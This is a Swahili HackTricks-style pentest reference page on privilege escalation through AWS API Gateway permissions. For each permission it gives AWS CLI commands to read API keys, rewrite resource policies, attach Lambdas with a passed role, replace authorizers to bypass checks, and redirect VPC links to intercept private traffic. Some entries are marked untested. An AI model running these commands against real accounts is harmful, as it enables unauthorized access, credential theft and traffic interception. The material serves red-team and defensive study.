AWS - Apigateway Privesc
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Apigateway
Kwa maelezo zaidi angalia:
apigateway:POST
Kwa ruhusa hii unaweza kuunda funguo za API za APIs zilizowekwa (kwa kila eneo).
aws --region <region> apigateway create-api-key
Madhara Yanayoweza Kutokea: Huwezi kufanya privesc kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.
apigateway:GET
Kwa ruhusa hii unaweza kupata funguo za API zilizozalishwa za APIs zilizowekwa (kwa kila eneo).
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
Madhara Yanayoweza Kutokea: Huwezi kufanya privesc kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.
apigateway:UpdateRestApiPolicy
, apigateway:PATCH
Kwa ruhusa hizi inawezekana kubadilisha sera ya rasilimali ya API ili kujipatia ufikiaji wa kuitumia na kutumia ufikiaji ambao API gateway inaweza kuwa nao (kama kuanzisha lambda iliyo hatarini).
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
Madhara Yanayoweza Kutokea: Wewe, kwa kawaida, huwezi kupata privesc moja kwa moja kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.
apigateway:PutIntegration
, apigateway:CreateDeployment
, iam:PassRole
note
Inahitaji kupimwa
Mshambuliaji mwenye ruhusa apigateway:PutIntegration
, apigateway:CreateDeployment
, na iam:PassRole
anaweza kuongeza uhusiano mpya kwa API Gateway REST API iliyopo kwa kutumia kazi ya Lambda ambayo ina jukumu la IAM lililounganishwa. Mshambuliaji anaweza kisha kuanzisha kazi ya Lambda kutekeleza msimbo wowote na kwa uwezekano kupata ufikiaji wa rasilimali zinazohusiana na jukumu la IAM.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Madhara Yanayoweza Kutokea: Ufikiaji wa rasilimali zinazohusiana na jukumu la IAM la Lambda function.
apigateway:UpdateAuthorizer
, apigateway:CreateDeployment
note
Inahitaji kupimwa
Mshambuliaji mwenye ruhusa apigateway:UpdateAuthorizer
na apigateway:CreateDeployment
anaweza kubadilisha mthibitishaji wa API Gateway uliopo ili kupita ukaguzi wa usalama au kutekeleza msimbo wa kawaida wakati maombi ya API yanapofanywa.
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Madhara Yanayoweza Kutokea: Kupita mchakato wa usalama, ufikiaji usioidhinishwa wa rasilimali za API.
apigateway:UpdateVpcLink
note
Inahitaji kupimwa
Mshambuliaji mwenye ruhusa apigateway:UpdateVpcLink
anaweza kubadilisha VPC Link iliyopo ili kuelekeza kwenye Balancer ya Mizigo ya Mtandao tofauti, ambayo inaweza kuelekeza trafiki ya API ya kibinafsi kwa rasilimali zisizoidhinishwa au zenye uharibifu.
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
Madhara Yanayoweza Kutokea: Ufikiaji usioidhinishwa wa rasilimali za API za kibinafsi, kukamata au kuingilia kati trafiki ya API.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.